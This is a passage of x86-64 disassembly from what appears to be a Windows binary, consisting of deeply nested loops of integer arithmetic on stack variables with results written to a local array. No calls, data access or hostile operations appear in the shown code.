mov eax, dword [rsp + 0xb28]
mov ecx, dword [rsp + 0x410]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x410], eax
mov eax, dword [rsp + 0x410]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff5ea
imul eax, dword [rsp + 0x410], 3
mov dword [rsp + 0x410], eax
jmp 0x1400ff593
mov eax, dword [rsp + 0x1148]
dec eax
mov dword [rsp + 0x1148], eax
cmp dword [rsp + 0x1148], 0
jg 0x1400ff57b
jmp 0x1400ff436
jmp 0x1400fed82
jmp 0x1400ffebd
mov dword [rsp + 0x114c], 0
jmp 0x1400ff636
mov eax, dword [rsp + 0x114c]
inc eax
mov dword [rsp + 0x114c], eax
cmp dword [rsp + 0x114c], 5
jge 0x1400ffebd
mov dword [rsp + 0x1168], 0x5c
mov dword [rsp + 0xb2c], 0
jmp 0x1400ff66c
mov eax, dword [rsp + 0xb2c]
inc eax
mov dword [rsp + 0xb2c], eax
cmp dword [rsp + 0xb2c], 6
jge 0x1400ffaa8
mov eax, dword [rsp + 0xb2c]
add eax, 9
mov dword [rsp + 0x42c], eax
mov eax, dword [rsp + 0x42c]
add eax, 3
mov dword [rsp + 0x42c], eax
cmp dword [rsp + 0x42c], 0x18
jne 0x1400ffa95
mov dword [rsp + 0x1150], 0
jmp 0x1400ff6c7
mov eax, dword [rsp + 0x1150]
inc eax
mov dword [rsp + 0x1150], eax
cmp dword [rsp + 0x1150], 5
jge 0x1400ff890
mov dword [rsp + 0x1154], 0x11
mov dword [rsp + 0xb30], 0
jmp 0x1400ff6fd
mov eax, dword [rsp + 0xb30]
inc eax
mov dword [rsp + 0xb30], eax
cmp dword [rsp + 0xb30], 3
jge 0x1400ff7d8
mov eax, dword [rsp + 0xb30]
inc eax
mov dword [rsp + 0x418], eax
mov eax, dword [rsp + 0x418]
inc eax
mov dword [rsp + 0x418], eax
cmp dword [rsp + 0x418], 4
jne 0x1400ff7c5
mov dword [rsp + 0x414], 0xd
mov dword [rsp + 0xb34], 0
jmp 0x1400ff761
mov eax, dword [rsp + 0xb34]
inc eax
mov dword [rsp + 0xb34], eax
cmp dword [rsp + 0xb34], 4
jge 0x1400ff7aa
mov eax, dword [rsp + 0xb34]
mov ecx, dword [rsp + 0x414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x414], eax
mov eax, dword [rsp + 0x414]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff7a8
imul eax, dword [rsp + 0x414], 3
mov dword [rsp + 0x414], eax
jmp 0x1400ff751
mov eax, dword [rsp + 0x418]
imul eax, dword [rsp + 0x1154]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a50], eax
cmp dword [rsp + 0x418], 6
jl 0x1400ff71b
jmp 0x1400ff6ed
cmp dword [rsp + 0x1154], 0xa
jle 0x1400ff88b
mov eax, dword [rsp + 0x1154]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1158], eax
mov dword [rsp + 0x41c], 0xd
mov dword [rsp + 0xb38], 0
jmp 0x1400ff824
mov eax, dword [rsp + 0xb38]
inc eax
mov dword [rsp + 0xb38], eax
cmp dword [rsp + 0xb38], 4
jge 0x1400ff86d
mov eax, dword [rsp + 0xb38]
mov ecx, dword [rsp + 0x41c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c], eax
mov eax, dword [rsp + 0x41c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff86b
imul eax, dword [rsp + 0x41c], 3
mov dword [rsp + 0x41c], eax
jmp 0x1400ff814
mov eax, dword [rsp + 0x1158]
dec eax
mov dword [rsp + 0x1158], eax
cmp dword [rsp + 0x1158], 0
jg 0x1400ff7fc
jmp 0x1400ff6b7
mov eax, dword [rsp + 0x42c]
imul eax, dword [rsp + 0x1168]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1a54], eax
mov dword [rsp + 0x115c], 0
jmp 0x1400ff8cc
mov eax, dword [rsp + 0x115c]
inc eax
mov dword [rsp + 0x115c], eax
cmp dword [rsp + 0x115c], 5
jge 0x1400ffa95
mov dword [rsp + 0x1160], 0x11
mov dword [rsp + 0xb3c], 0
jmp 0x1400ff902
mov eax, dword [rsp + 0xb3c]
inc eax
mov dword [rsp + 0xb3c], eax
cmp dword [rsp + 0xb3c], 3
jge 0x1400ff9dd
mov eax, dword [rsp + 0xb3c]
inc eax
mov dword [rsp + 0x424], eax
mov eax, dword [rsp + 0x424]
inc eax
mov dword [rsp + 0x424], eax
cmp dword [rsp + 0x424], 4
jne 0x1400ff9ca
mov dword [rsp + 0x420], 0xd
mov dword [rsp + 0xb40], 0
jmp 0x1400ff966
mov eax, dword [rsp + 0xb40]
inc eax
mov dword [rsp + 0xb40], eax
cmp dword [rsp + 0xb40], 4
jge 0x1400ff9af
mov eax, dword [rsp + 0xb40]
mov ecx, dword [rsp + 0x420]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x420], eax
mov eax, dword [rsp + 0x420]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff9ad
imul eax, dword [rsp + 0x420], 3
mov dword [rsp + 0x420], eax
jmp 0x1400ff956
mov eax, dword [rsp + 0x424]
imul eax, dword [rsp + 0x1160]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a58], eax
cmp dword [rsp + 0x424], 6
jl 0x1400ff920
jmp 0x1400ff8f2
cmp dword [rsp + 0x1160], 0xa
jle 0x1400ffa90
mov eax, dword [rsp + 0x1160]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1164], eax
mov dword [rsp + 0x428], 0xd
mov dword [rsp + 0xb44], 0
jmp 0x1400ffa29
mov eax, dword [rsp + 0xb44]
inc eax
mov dword [rsp + 0xb44], eax
cmp dword [rsp + 0xb44], 4
jge 0x1400ffa72
mov eax, dword [rsp + 0xb44]
mov ecx, dword [rsp + 0x428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x428], eax
mov eax, dword [rsp + 0x428]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ffa70
imul eax, dword [rsp + 0x428], 3
mov dword [rsp + 0x428], eax
jmp 0x1400ffa19
mov eax, dword [rsp + 0x1164]
dec eax
mov dword [rsp + 0x1164], eax
cmp dword [rsp + 0x1164], 0
jg 0x1400ffa01
jmp 0x1400ff8bc
cmp dword [rsp + 0x42c], 0x21
jl 0x1400ff68b
jmp 0x1400ff65c
cmp dword [rsp + 0x1168], 0x32
jle 0x1400ffcd2
mov eax, dword [rsp + 0x1168]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1178], eax
mov dword [rsp + 0x116c], 0
jmp 0x1400ffaea
mov eax, dword [rsp + 0x116c]
inc eax
mov dword [rsp + 0x116c], eax
cmp dword [rsp + 0x116c], 5
jge 0x1400ffcb3
mov dword [rsp + 0x1170], 0x11
mov dword [rsp + 0xb48], 0
jmp 0x1400ffb20
mov eax, dword [rsp + 0xb48]
inc eax
mov dword [rsp + 0xb48], eax
cmp dword [rsp + 0xb48], 3
jge 0x1400ffbfb
mov eax, dword [rsp + 0xb48]
inc eax
mov dword [rsp + 0x434], eax
mov eax, dword [rsp + 0x434]
inc eax
mov dword [rsp + 0x434], eax
cmp dword [rsp + 0x434], 4
jne 0x1400ffbe8
mov dword [rsp + 0x430], 0xd
mov dword [rsp + 0xb4c], 0
jmp 0x1400ffb84
mov eax, dword [rsp + 0xb4c]
inc eax
mov dword [rsp + 0xb4c], eax
cmp dword [rsp + 0xb4c], 4
jge 0x1400ffbcd
mov eax, dword [rsp + 0xb4c]
mov ecx, dword [rsp + 0x430]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x430], eax
mov eax, dword [rsp + 0x430]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ffbcb
imul eax, dword [rsp + 0x430], 3
mov dword [rsp + 0x430], eax
jmp 0x1400ffb74
mov eax, dword [rsp + 0x434]
imul eax, dword [rsp + 0x1170]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a5c], eax
cmp dword [rsp + 0x434], 6
jl 0x1400ffb3e
jmp 0x1400ffb10
cmp dword [rsp + 0x1170], 0xa
jle 0x1400ffcae
mov eax, dword [rsp + 0x1170]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1174], eax
mov dword [rsp + 0x438], 0xd
mov dword [rsp + 0xb50], 0
jmp 0x1400ffc47
mov eax, dword [rsp + 0xb50]
inc eax
mov dword [rsp + 0xb50], eax
cmp dword [rsp + 0xb50], 4
jge 0x1400ffc90
mov eax, dword [rsp + 0xb50]
mov ecx, dword [rsp + 0x438]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0x438]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ffc8e
imul eax, dword [rsp + 0x438], 3
mov dword [rsp + 0x438], eax
jmp 0x1400ffc37
mov eax, dword [rsp + 0x1174]
dec eax
mov dword [rsp + 0x1174], eax
cmp dword [rsp + 0x1174], 0
jg 0x1400ffc1f
jmp 0x1400ffada
mov eax, dword [rsp + 0x1178]
sub eax, 5
mov dword [rsp + 0x1178], eax
cmp dword [rsp + 0x1178], 0
jg 0x1400ffacd
mov dword [rsp + 0x117c], 0
jmp 0x1400ffcef
mov eax, dword [rsp + 0x117c]
inc eax
mov dword [rsp + 0x117c], eax
cmp dword [rsp + 0x117c], 5
jge 0x1400ffeb8
mov dword [rsp + 0x1180], 0x11
mov dword [rsp + 0xb54], 0
jmp 0x1400ffd25
mov eax, dword [rsp + 0xb54]
inc eax
mov dword [rsp + 0xb54], eax
cmp dword [rsp + 0xb54], 3
jge 0x1400ffe00
mov eax, dword [rsp + 0xb54]
inc eax
mov dword [rsp + 0x440], eax
mov eax, dword [rsp + 0x440]
inc eax
mov dword [rsp + 0x440], eax
cmp dword [rsp + 0x440], 4
jne 0x1400ffded
mov dword [rsp + 0x43c], 0xd
mov dword [rsp + 0xb58], 0
jmp 0x1400ffd89
mov eax, dword [rsp + 0xb58]
inc eax
mov dword [rsp + 0xb58], eax
cmp dword [rsp + 0xb58], 4
jge 0x1400ffdd2
mov eax, dword [rsp + 0xb58]
mov ecx, dword [rsp + 0x43c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c], eax
mov eax, dword [rsp + 0x43c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ffdd0
imul eax, dword [rsp + 0x43c], 3
mov dword [rsp + 0x43c], eax
jmp 0x1400ffd79
mov eax, dword [rsp + 0x440]
imul eax, dword [rsp + 0x1180]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a60], eax
cmp dword [rsp + 0x440], 6
jl 0x1400ffd43
jmp 0x1400ffd15
cmp dword [rsp + 0x1180], 0xa
jle 0x1400ffeb3
mov eax, dword [rsp + 0x1180]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1184], eax
mov dword [rsp + 0x444], 0xd
mov dword [rsp + 0xb5c], 0
jmp 0x1400ffe4c
mov eax, dword [rsp + 0xb5c]
inc eax
mov dword [rsp + 0xb5c], eax
cmp dword [rsp + 0xb5c], 4
jge 0x1400ffe95
mov eax, dword [rsp + 0xb5c]
mov ecx, dword [rsp + 0x444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x444], eax
mov eax, dword [rsp + 0x444]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ffe93
imul eax, dword [rsp + 0x444], 3
mov dword [rsp + 0x444], eax
jmp 0x1400ffe3c
mov eax, dword [rsp + 0x1184]
dec eax
mov dword [rsp + 0x1184], eax
cmp dword [rsp + 0x1184], 0
jg 0x1400ffe24
jmp 0x1400ffcdf
jmp 0x1400ff626
xor eax, eax
cmp eax, 1
je 0x140100c81
xor eax, eax
test eax, eax
je 0x1401005ab
mov dword [rsp + 0x1188], 0
jmp 0x1400ffeef
mov eax, dword [rsp + 0x1188]
inc eax
mov dword [rsp + 0x1188], eax
cmp dword [rsp + 0x1188], 5
jge 0x1401005a6
mov dword [rsp + 0x11a4], 0x33
mov dword [rsp + 0xb60], 0
jmp 0x1400fff25
mov eax, dword [rsp + 0xb60]
inc eax
mov dword [rsp + 0xb60], eax
cmp dword [rsp + 0xb60], 6
jge 0x140100277
mov eax, dword [rsp + 0xb60]
add eax, 2
mov dword [rsp + 0x460], eax
mov eax, dword [rsp + 0x460]
add eax, 3
mov dword [rsp + 0x460], eax
cmp dword [rsp + 0x460], 0xb
jne 0x140100264
mov dword [rsp + 0x118c], 0
jmp 0x1400fff80
mov eax, dword [rsp + 0x118c]
inc eax
mov dword [rsp + 0x118c], eax
cmp dword [rsp + 0x118c], 5
jge 0x1401000d6
mov dword [rsp + 0x1190], 7
mov dword [rsp + 0xb64], 0
jmp 0x1400fffb6
mov eax, dword [rsp + 0xb64]
inc eax
mov dword [rsp + 0xb64], eax
cmp dword [rsp + 0xb64], 2
jge 0x140100059
mov eax, dword [rsp + 0xb64]
inc eax
mov dword [rsp + 0x44c], eax
mov eax, dword [rsp + 0x44c]
inc eax
mov dword [rsp + 0x44c], eax
cmp dword [rsp + 0x44c], 2
jne 0x14010004a
mov dword [rsp + 0x448], 0x15
mov eax, dword [rsp + 0x448]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010001e
mov eax, dword [rsp + 0x448]
shl eax, 1
mov dword [rsp + 0x448], eax
jmp 0x14010002f
mov eax, dword [rsp + 0x448]
add eax, 3
mov dword [rsp + 0x448], eax
mov eax, dword [rsp + 0x44c]
imul eax, dword [rsp + 0x1190]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a64], eax
cmp dword [rsp + 0x44c], 3
jl 0x1400fffd4
jmp 0x1400fffa6
cmp dword [rsp + 0x1190], 5
jle 0x1401000d1
mov eax, dword [rsp + 0x1190]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1194], eax
mov dword [rsp + 0x450], 0x15
mov eax, dword [rsp + 0x450]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401000a6
mov eax, dword [rsp + 0x450]
shl eax, 1
mov dword [rsp + 0x450], eax
jmp 0x1401000b7
mov eax, dword [rsp + 0x450]
add eax, 3
mov dword [rsp + 0x450], eax
mov eax, dword [rsp + 0x1194]
dec eax
mov dword [rsp + 0x1194], eax
cmp dword [rsp + 0x1194], 0
jg 0x140100076
jmp 0x1400fff70
mov eax, dword [rsp + 0x460]
imul eax, dword [rsp + 0x11a4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a68], eax
mov dword [rsp + 0x1198], 0
jmp 0x14010010e
mov eax, dword [rsp + 0x1198]
inc eax
mov dword [rsp + 0x1198], eax
cmp dword [rsp + 0x1198], 5
jge 0x140100264
mov dword [rsp + 0x119c], 7
mov dword [rsp + 0xb68], 0
jmp 0x140100144
mov eax, dword [rsp + 0xb68]
inc eax
mov dword [rsp + 0xb68], eax
cmp dword [rsp + 0xb68], 2
jge 0x1401001e7
mov eax, dword [rsp + 0xb68]
inc eax
mov dword [rsp + 0x458], eax
mov eax, dword [rsp + 0x458]
inc eax
mov dword [rsp + 0x458], eax
cmp dword [rsp + 0x458], 2
jne 0x1401001d8
mov dword [rsp + 0x454], 0x15
mov eax, dword [rsp + 0x454]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401001ac
mov eax, dword [rsp + 0x454]
shl eax, 1
mov dword [rsp + 0x454], eax
jmp 0x1401001bd
mov eax, dword [rsp + 0x454]
add eax, 3
mov dword [rsp + 0x454], eax
mov eax, dword [rsp + 0x458]
imul eax, dword [rsp + 0x119c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a6c], eax
cmp dword [rsp + 0x458], 3
jl 0x140100162
jmp 0x140100134
cmp dword [rsp + 0x119c], 5
jle 0x14010025f
mov eax, dword [rsp + 0x119c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11a0], eax
mov dword [rsp + 0x45c], 0x15
mov eax, dword [rsp + 0x45c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100234
mov eax, dword [rsp + 0x45c]
shl eax, 1
mov dword [rsp + 0x45c], eax
jmp 0x140100245
mov eax, dword [rsp + 0x45c]
add eax, 3
mov dword [rsp + 0x45c], eax
mov eax, dword [rsp + 0x11a0]
dec eax
mov dword [rsp + 0x11a0], eax
cmp dword [rsp + 0x11a0], 0
jg 0x140100204
jmp 0x1401000fe
cmp dword [rsp + 0x460], 0xf
jl 0x1400fff44
jmp 0x1400fff15
cmp dword [rsp + 0x11a4], 0x19
jle 0x14010042e
mov eax, dword [rsp + 0x11a4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x11b4], eax
mov dword [rsp + 0x11a8], 0
jmp 0x1401002b9
mov eax, dword [rsp + 0x11a8]
inc eax
mov dword [rsp + 0x11a8], eax
cmp dword [rsp + 0x11a8], 5
jge 0x14010040f
mov dword [rsp + 0x11ac], 7
mov dword [rsp + 0xb6c], 0
jmp 0x1401002ef
mov eax, dword [rsp + 0xb6c]
inc eax
mov dword [rsp + 0xb6c], eax
cmp dword [rsp + 0xb6c], 2
jge 0x140100392
mov eax, dword [rsp + 0xb6c]
inc eax
mov dword [rsp + 0x468], eax
mov eax, dword [rsp + 0x468]
inc eax
mov dword [rsp + 0x468], eax
cmp dword [rsp + 0x468], 2
jne 0x140100383
mov dword [rsp + 0x464], 0x15
mov eax, dword [rsp + 0x464]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100357
mov eax, dword [rsp + 0x464]
shl eax, 1
mov dword [rsp + 0x464], eax
jmp 0x140100368
mov eax, dword [rsp + 0x464]
add eax, 3
mov dword [rsp + 0x464], eax
mov eax, dword [rsp + 0x468]
imul eax, dword [rsp + 0x11ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a70], eax
cmp dword [rsp + 0x468], 3
jl 0x14010030d
jmp 0x1401002df
cmp dword [rsp + 0x11ac], 5
jle 0x14010040a
mov eax, dword [rsp + 0x11ac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11b0], eax
mov dword [rsp + 0x46c], 0x15
mov eax, dword [rsp + 0x46c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401003df
mov eax, dword [rsp + 0x46c]
shl eax, 1
mov dword [rsp + 0x46c], eax
jmp 0x1401003f0
mov eax, dword [rsp + 0x46c]
add eax, 3
mov dword [rsp + 0x46c], eax
mov eax, dword [rsp + 0x11b0]
dec eax
mov dword [rsp + 0x11b0], eax
cmp dword [rsp + 0x11b0], 0
jg 0x1401003af
jmp 0x1401002a9
mov eax, dword [rsp + 0x11b4]
sub eax, 2
mov dword [rsp + 0x11b4], eax
cmp dword [rsp + 0x11b4], 0
jg 0x14010029c
mov dword [rsp + 0x11b8], 0
jmp 0x14010044b
mov eax, dword [rsp + 0x11b8]
inc eax
mov dword [rsp + 0x11b8], eax
cmp dword [rsp + 0x11b8], 5
jge 0x1401005a1
mov dword [rsp + 0x11bc], 7
mov dword [rsp + 0xb70], 0
jmp 0x140100481
mov eax, dword [rsp + 0xb70]
inc eax
mov dword [rsp + 0xb70], eax
cmp dword [rsp + 0xb70], 2
jge 0x140100524
mov eax, dword [rsp + 0xb70]
inc eax
mov dword [rsp + 0x474], eax
mov eax, dword [rsp + 0x474]
inc eax
mov dword [rsp + 0x474], eax
cmp dword [rsp + 0x474], 2
jne 0x140100515
mov dword [rsp + 0x470], 0x15
mov eax, dword [rsp + 0x470]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401004e9
mov eax, dword [rsp + 0x470]
shl eax, 1
mov dword [rsp + 0x470], eax
jmp 0x1401004fa
mov eax, dword [rsp + 0x470]
add eax, 3
mov dword [rsp + 0x470], eax
mov eax, dword [rsp + 0x474]
imul eax, dword [rsp + 0x11bc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a74], eax
cmp dword [rsp + 0x474], 3
jl 0x14010049f
jmp 0x140100471
cmp dword [rsp + 0x11bc], 5
jle 0x14010059c
mov eax, dword [rsp + 0x11bc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11c0], eax
mov dword [rsp + 0x478], 0x15
mov eax, dword [rsp + 0x478]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100571
mov eax, dword [rsp + 0x478]
shl eax, 1
mov dword [rsp + 0x478], eax
jmp 0x140100582
mov eax, dword [rsp + 0x478]
add eax, 3
mov dword [rsp + 0x478], eax
mov eax, dword [rsp + 0x11c0]
dec eax
mov dword [rsp + 0x11c0], eax
cmp dword [rsp + 0x11c0], 0
jg 0x140100541
jmp 0x14010043b
jmp 0x1400ffedf
jmp 0x140100c81
mov dword [rsp + 0x11c4], 0
jmp 0x1401005c8
mov eax, dword [rsp + 0x11c4]
inc eax
mov dword [rsp + 0x11c4], eax
cmp dword [rsp + 0x11c4], 5
jge 0x140100c81
mov dword [rsp + 0x11e0], 0x44
mov dword [rsp + 0xb74], 0
jmp 0x1401005fe
mov eax, dword [rsp + 0xb74]
inc eax
mov dword [rsp + 0xb74], eax
cmp dword [rsp + 0xb74], 7
jge 0x140100953
mov eax, dword [rsp + 0xb74]
add eax, 4
mov dword [rsp + 0x494], eax
mov eax, dword [rsp + 0x494]
add eax, 4
mov dword [rsp + 0x494], eax
cmp dword [rsp + 0x494], 0x10
jne 0x140100940
mov dword [rsp + 0x11c8], 0
jmp 0x140100659
mov eax, dword [rsp + 0x11c8]
inc eax
mov dword [rsp + 0x11c8], eax
cmp dword [rsp + 0x11c8], 5
jge 0x1401007af
mov dword [rsp + 0x11cc], 7
mov dword [rsp + 0xb78], 0
jmp 0x14010068f
mov eax, dword [rsp + 0xb78]
inc eax
mov dword [rsp + 0xb78], eax
cmp dword [rsp + 0xb78], 2
jge 0x140100732
mov eax, dword [rsp + 0xb78]
inc eax
mov dword [rsp + 0x480], eax
mov eax, dword [rsp + 0x480]
inc eax
mov dword [rsp + 0x480], eax
cmp dword [rsp + 0x480], 2
jne 0x140100723
mov dword [rsp + 0x47c], 0x15
mov eax, dword [rsp + 0x47c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401006f7
mov eax, dword [rsp + 0x47c]
shl eax, 1
mov dword [rsp + 0x47c], eax
jmp 0x140100708
mov eax, dword [rsp + 0x47c]
add eax, 3
mov dword [rsp + 0x47c], eax
mov eax, dword [rsp + 0x480]
imul eax, dword [rsp + 0x11cc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a78], eax
cmp dword [rsp + 0x480], 3
jl 0x1401006ad
jmp 0x14010067f
cmp dword [rsp + 0x11cc], 5
jle 0x1401007aa
mov eax, dword [rsp + 0x11cc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11d0], eax
mov dword [rsp + 0x484], 0x15
mov eax, dword [rsp + 0x484]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010077f
mov eax, dword [rsp + 0x484]
shl eax, 1
mov dword [rsp + 0x484], eax
jmp 0x140100790
mov eax, dword [rsp + 0x484]
add eax, 3
mov dword [rsp + 0x484], eax
mov eax, dword [rsp + 0x11d0]
dec eax
mov dword [rsp + 0x11d0], eax
cmp dword [rsp + 0x11d0], 0
jg 0x14010074f
jmp 0x140100649
mov eax, dword [rsp + 0x494]
imul eax, dword [rsp + 0x11e0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a7c], eax
mov dword [rsp + 0x11d4], 0
jmp 0x1401007ea
mov eax, dword [rsp + 0x11d4]
inc eax
mov dword [rsp + 0x11d4], eax
cmp dword [rsp + 0x11d4], 5
jge 0x140100940
mov dword [rsp + 0x11d8], 7
mov dword [rsp + 0xb7c], 0
jmp 0x140100820
mov eax, dword [rsp + 0xb7c]
inc eax
mov dword [rsp + 0xb7c], eax
cmp dword [rsp + 0xb7c], 2
jge 0x1401008c3
mov eax, dword [rsp + 0xb7c]
inc eax
mov dword [rsp + 0x48c], eax
mov eax, dword [rsp + 0x48c]
inc eax
mov dword [rsp + 0x48c], eax
cmp dword [rsp + 0x48c], 2
jne 0x1401008b4
mov dword [rsp + 0x488], 0x15
mov eax, dword [rsp + 0x488]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100888
mov eax, dword [rsp + 0x488]
shl eax, 1
mov dword [rsp + 0x488], eax
jmp 0x140100899
mov eax, dword [rsp + 0x488]
add eax, 3
mov dword [rsp + 0x488], eax
mov eax, dword [rsp + 0x48c]
imul eax, dword [rsp + 0x11d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a80], eax
cmp dword [rsp + 0x48c], 3
jl 0x14010083e
jmp 0x140100810
cmp dword [rsp + 0x11d8], 5
jle 0x14010093b
mov eax, dword [rsp + 0x11d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11dc], eax
mov dword [rsp + 0x490], 0x15
mov eax, dword [rsp + 0x490]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100910
mov eax, dword [rsp + 0x490]
shl eax, 1
mov dword [rsp + 0x490], eax
jmp 0x140100921
mov eax, dword [rsp + 0x490]
add eax, 3
mov dword [rsp + 0x490], eax
mov eax, dword [rsp + 0x11dc]
dec eax
mov dword [rsp + 0x11dc], eax
cmp dword [rsp + 0x11dc], 0
jg 0x1401008e0
jmp 0x1401007da
cmp dword [rsp + 0x494], 0x14
jl 0x14010061d
jmp 0x1401005ee
cmp dword [rsp + 0x11e0], 0x28
jle 0x140100b09
mov eax, dword [rsp + 0x11e0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x11f0], eax
mov dword [rsp + 0x11e4], 0
jmp 0x140100994
mov eax, dword [rsp + 0x11e4]
inc eax
mov dword [rsp + 0x11e4], eax
cmp dword [rsp + 0x11e4], 5
jge 0x140100aea
mov dword [rsp + 0x11e8], 7
mov dword [rsp + 0xb80], 0
jmp 0x1401009ca
mov eax, dword [rsp + 0xb80]
inc eax
mov dword [rsp + 0xb80], eax
cmp dword [rsp + 0xb80], 2
jge 0x140100a6d
mov eax, dword [rsp + 0xb80]
inc eax
mov dword [rsp + 0x49c], eax
mov eax, dword [rsp + 0x49c]
inc eax
mov dword [rsp + 0x49c], eax
cmp dword [rsp + 0x49c], 2
jne 0x140100a5e
mov dword [rsp + 0x498], 0x15
mov eax, dword [rsp + 0x498]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100a32
mov eax, dword [rsp + 0x498]
shl eax, 1
mov dword [rsp + 0x498], eax
jmp 0x140100a43
mov eax, dword [rsp + 0x498]
add eax, 3
mov dword [rsp + 0x498], eax
mov eax, dword [rsp + 0x49c]
imul eax, dword [rsp + 0x11e8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a84], eax
cmp dword [rsp + 0x49c], 3
jl 0x1401009e8
jmp 0x1401009ba
cmp dword [rsp + 0x11e8], 5
jle 0x140100ae5
mov eax, dword [rsp + 0x11e8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11ec], eax
mov dword [rsp + 0x4a0], 0x15
mov eax, dword [rsp + 0x4a0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100aba
mov eax, dword [rsp + 0x4a0]
shl eax, 1
mov dword [rsp + 0x4a0], eax
jmp 0x140100acb
mov eax, dword [rsp + 0x4a0]
add eax, 3
mov dword [rsp + 0x4a0], eax
mov eax, dword [rsp + 0x11ec]
dec eax
mov dword [rsp + 0x11ec], eax
cmp dword [rsp + 0x11ec], 0
jg 0x140100a8a
jmp 0x140100984
mov eax, dword [rsp + 0x11f0]
sub eax, 3
mov dword [rsp + 0x11f0], eax
cmp dword [rsp + 0x11f0], 0
jg 0x140100977
mov dword [rsp + 0x11f4], 0
jmp 0x140100b26
mov eax, dword [rsp + 0x11f4]
inc eax
mov dword [rsp + 0x11f4], eax
cmp dword [rsp + 0x11f4], 5
jge 0x140100c7c
mov dword [rsp + 0x11f8], 7
mov dword [rsp + 0xb84], 0
jmp 0x140100b5c
mov eax, dword [rsp + 0xb84]
inc eax
mov dword [rsp + 0xb84], eax
cmp dword [rsp + 0xb84], 2
jge 0x140100bff
mov eax, dword [rsp + 0xb84]
inc eax
mov dword [rsp + 0x4a8], eax
mov eax, dword [rsp + 0x4a8]
inc eax
mov dword [rsp + 0x4a8], eax
cmp dword [rsp + 0x4a8], 2
jne 0x140100bf0
mov dword [rsp + 0x4a4], 0x15
mov eax, dword [rsp + 0x4a4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140100bc4
mov eax, dword [rsp + 0x4a4]
shl eax, 1
mov dword [rsp + 0x4a4], eax
jmp 0x140100bd5
mov eax, dword [rsp + 0x4a4]
add eax, 3
mov dword [rsp + 0x4a4], eax
mov eax, dword [rsp + 0x4a8]
imul eax, dword [rsp + 0x11f8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a88], eax
cmp dword [rsp + 0x4a8], 3
jl 0x140100b7a
jmp 0x140100b4c
cmp dword [rsp + 0x11f8], 5
jle 0x140100c77
mov eax, dword [rsp + 0x11f8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11fc], eax
